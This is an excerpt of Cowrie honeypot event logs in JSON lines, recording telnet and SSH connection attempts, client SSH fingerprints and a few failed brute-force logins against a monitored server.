{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":53870,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac6b51506de7","protocol":"telnet","message":"New connection: 69.6.249.0:53870 (159.203.135.109:23) [session: ac6b51506de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:03.576960Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:04.252107Z","src_ip":"163.7.6.74","session":"81507d081a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":50580,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5367d6476ef","protocol":"telnet","message":"New connection: 69.6.249.0:50580 (159.203.135.109:23) [session: b5367d6476ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:09.737103Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":39502,"dst_ip":"159.203.135.109","dst_port":23,"session":"40b3638218a5","protocol":"telnet","message":"New connection: 69.6.249.0:39502 (159.203.135.109:23) [session: 40b3638218a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:14.772960Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":39510,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ad389554ec8","protocol":"telnet","message":"New connection: 69.6.249.0:39510 (159.203.135.109:23) [session: 8ad389554ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:15.116187Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":39522,"dst_ip":"159.203.135.109","dst_port":23,"session":"8282dc63aaac","protocol":"telnet","message":"New connection: 69.6.249.0:39522 (159.203.135.109:23) [session: 8282dc63aaac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:17.579539Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":55168,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a2119b626fc","protocol":"telnet","message":"New connection: 69.6.249.0:55168 (159.203.135.109:23) [session: 9a2119b626fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:26.704694Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":8792,"dst_ip":"159.203.135.109","dst_port":22,"session":"1760c4fbc06d","protocol":"ssh","message":"New connection: 193.24.211.100:8792 (159.203.135.109:22) [session: 1760c4fbc06d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:28.106237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:28.114687Z","src_ip":"193.24.211.100","session":"1760c4fbc06d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:28.217296Z","src_ip":"193.24.211.100","session":"1760c4fbc06d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.173062562942505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:28.553573Z","src_ip":"69.6.249.0","session":"c99d6efcd6f2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"gopher","message":"login attempt [root/gopher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:28.646102Z","src_ip":"193.24.211.100","session":"1760c4fbc06d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:29.759166Z","src_ip":"193.24.211.100","session":"1760c4fbc06d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.34984350204468,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:35.926692Z","src_ip":"69.6.249.0","session":"ac6b51506de7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":36190,"dst_ip":"159.203.135.109","dst_port":23,"session":"00c2be4f3472","protocol":"telnet","message":"New connection: 69.6.249.0:36190 (159.203.135.109:23) [session: 00c2be4f3472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:38.999052Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":36198,"dst_ip":"159.203.135.109","dst_port":23,"session":"fabc7ac6a948","protocol":"telnet","message":"New connection: 69.6.249.0:36198 (159.203.135.109:23) [session: fabc7ac6a948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:40.284465Z"}
{"eventid":"cowrie.session.closed","duration":32.59966969490051,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:42.336684Z","src_ip":"69.6.249.0","session":"b5367d6476ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":36202,"dst_ip":"159.203.135.109","dst_port":23,"session":"35690537fc29","protocol":"telnet","message":"New connection: 69.6.249.0:36202 (159.203.135.109:23) [session: 35690537fc29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:43.444028Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":37940,"dst_ip":"159.203.135.109","dst_port":23,"session":"810a4f999487","protocol":"telnet","message":"New connection: 69.6.249.0:37940 (159.203.135.109:23) [session: 810a4f999487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:45.416795Z"}
{"eventid":"cowrie.session.closed","duration":31.157142639160156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:45.929990Z","src_ip":"69.6.249.0","session":"40b3638218a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16067671775818,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:46.276698Z","src_ip":"69.6.249.0","session":"8ad389554ec8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":37950,"dst_ip":"159.203.135.109","dst_port":23,"session":"60587ded0cbe","protocol":"telnet","message":"New connection: 69.6.249.0:37950 (159.203.135.109:23) [session: 60587ded0cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:47.521884Z"}
{"eventid":"cowrie.session.closed","duration":32.99707555770874,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:50.576508Z","src_ip":"69.6.249.0","session":"8282dc63aaac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":60702,"dst_ip":"10.17.0.5","dst_port":22,"session":"e09e8769eb89","protocol":"ssh","message":"New connection: 103.15.226.202:60702 (10.17.0.5:22) [session: e09e8769eb89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:52.556406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:52.560953Z","src_ip":"103.15.226.202","session":"e09e8769eb89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:52.829847Z","src_ip":"103.15.226.202","session":"e09e8769eb89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123456","message":"login attempt [root/Qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:53.557296Z","src_ip":"103.15.226.202","session":"e09e8769eb89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":37962,"dst_ip":"159.203.135.109","dst_port":23,"session":"32da1c54ed49","protocol":"telnet","message":"New connection: 69.6.249.0:37962 (159.203.135.109:23) [session: 32da1c54ed49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:53.726422Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:54.802508Z","src_ip":"103.15.226.202","session":"e09e8769eb89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.196826934814453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:31:57.901397Z","src_ip":"69.6.249.0","session":"9a2119b626fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":38510,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdb904fcc6ea","protocol":"ssh","message":"New connection: 163.7.6.74:38510 (159.203.135.109:22) [session: fdb904fcc6ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:04.716913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:04.750519Z","src_ip":"163.7.6.74","session":"fdb904fcc6ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:05.008502Z","src_ip":"163.7.6.74","session":"fdb904fcc6ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":38196,"dst_ip":"159.203.135.109","dst_port":23,"session":"ead9f20663d0","protocol":"telnet","message":"New connection: 69.6.249.0:38196 (159.203.135.109:23) [session: ead9f20663d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:05.214729Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234567a","message":"login attempt [ubuntu/1234567a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:06.062828Z","src_ip":"163.7.6.74","session":"fdb904fcc6ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:07.321617Z","src_ip":"163.7.6.74","session":"fdb904fcc6ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.799204111099243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:10.798079Z","src_ip":"69.6.249.0","session":"00c2be4f3472","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.26913261413574,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:12.553503Z","src_ip":"69.6.249.0","session":"fabc7ac6a948","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03387451171875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:14.477775Z","src_ip":"69.6.249.0","session":"35690537fc29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15673303604126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:16.573422Z","src_ip":"69.6.249.0","session":"810a4f999487","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.5922212600708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:19.114005Z","src_ip":"69.6.249.0","session":"60587ded0cbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":52830,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fb07961e8e5","protocol":"telnet","message":"New connection: 69.6.249.0:52830 (159.203.135.109:23) [session: 5fb07961e8e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:21.088797Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":52832,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c78327a5c82","protocol":"telnet","message":"New connection: 69.6.249.0:52832 (159.203.135.109:23) [session: 6c78327a5c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:21.660556Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":52840,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaa13ae5218a","protocol":"telnet","message":"New connection: 69.6.249.0:52840 (159.203.135.109:23) [session: aaa13ae5218a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:22.776455Z"}
{"eventid":"cowrie.session.closed","duration":32.22777843475342,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:25.954126Z","src_ip":"69.6.249.0","session":"32da1c54ed49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":47298,"dst_ip":"159.203.135.109","dst_port":23,"session":"c17e17617912","protocol":"telnet","message":"New connection: 69.6.249.0:47298 (159.203.135.109:23) [session: c17e17617912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:27.246610Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":47302,"dst_ip":"159.203.135.109","dst_port":23,"session":"31920a228f14","protocol":"telnet","message":"New connection: 69.6.249.0:47302 (159.203.135.109:23) [session: 31920a228f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:32.605062Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":35204,"dst_ip":"159.203.135.109","dst_port":23,"session":"a768230891bb","protocol":"telnet","message":"New connection: 69.6.249.0:35204 (159.203.135.109:23) [session: a768230891bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:35.579853Z"}
{"eventid":"cowrie.session.closed","duration":31.162843465805054,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:36.377470Z","src_ip":"69.6.249.0","session":"ead9f20663d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":56776,"dst_ip":"159.203.135.109","dst_port":23,"session":"cba291acd243","protocol":"telnet","message":"New connection: 69.6.249.0:56776 (159.203.135.109:23) [session: cba291acd243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:49.537861Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":56780,"dst_ip":"159.203.135.109","dst_port":23,"session":"996af46e7710","protocol":"telnet","message":"New connection: 69.6.249.0:56780 (159.203.135.109:23) [session: 996af46e7710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:51.979972Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":56794,"dst_ip":"159.203.135.109","dst_port":23,"session":"c693b9b3480c","protocol":"telnet","message":"New connection: 69.6.249.0:56794 (159.203.135.109:23) [session: c693b9b3480c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:52.610892Z"}
{"eventid":"cowrie.session.closed","duration":31.306908130645752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:52.967354Z","src_ip":"69.6.249.0","session":"6c78327a5c82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.03422021865845,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:53.122897Z","src_ip":"69.6.249.0","session":"5fb07961e8e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.243183612823486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:54.019557Z","src_ip":"69.6.249.0","session":"aaa13ae5218a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50418758392334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:32:58.750696Z","src_ip":"69.6.249.0","session":"c17e17617912","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":37958,"dst_ip":"159.203.135.109","dst_port":23,"session":"45fc9d1bc878","protocol":"telnet","message":"New connection: 69.6.249.0:37958 (159.203.135.109:23) [session: 45fc9d1bc878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:03.199129Z"}
{"eventid":"cowrie.session.closed","duration":30.887961387634277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:03.492924Z","src_ip":"69.6.249.0","session":"31920a228f14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.705217838287354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:06.284972Z","src_ip":"69.6.249.0","session":"a768230891bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":49828,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce9af19adca5","protocol":"telnet","message":"New connection: 69.6.249.0:49828 (159.203.135.109:23) [session: ce9af19adca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:07.952596Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":49834,"dst_ip":"159.203.135.109","dst_port":23,"session":"611f4de07e85","protocol":"telnet","message":"New connection: 69.6.249.0:49834 (159.203.135.109:23) [session: 611f4de07e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:08.462973Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":49840,"dst_ip":"159.203.135.109","dst_port":23,"session":"611d12f35421","protocol":"telnet","message":"New connection: 69.6.249.0:49840 (159.203.135.109:23) [session: 611d12f35421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:08.790265Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":49848,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a9a9f1531e0","protocol":"telnet","message":"New connection: 69.6.249.0:49848 (159.203.135.109:23) [session: 5a9a9f1531e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:10.856516Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":40792,"dst_ip":"159.203.135.109","dst_port":22,"session":"8df9817d008d","protocol":"ssh","message":"New connection: 163.7.6.74:40792 (159.203.135.109:22) [session: 8df9817d008d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:13.574998Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":50352,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b0c3cea4f93","protocol":"ssh","message":"New connection: 80.94.92.186:50352 (159.203.135.109:22) [session: 1b0c3cea4f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:13.597410Z"}
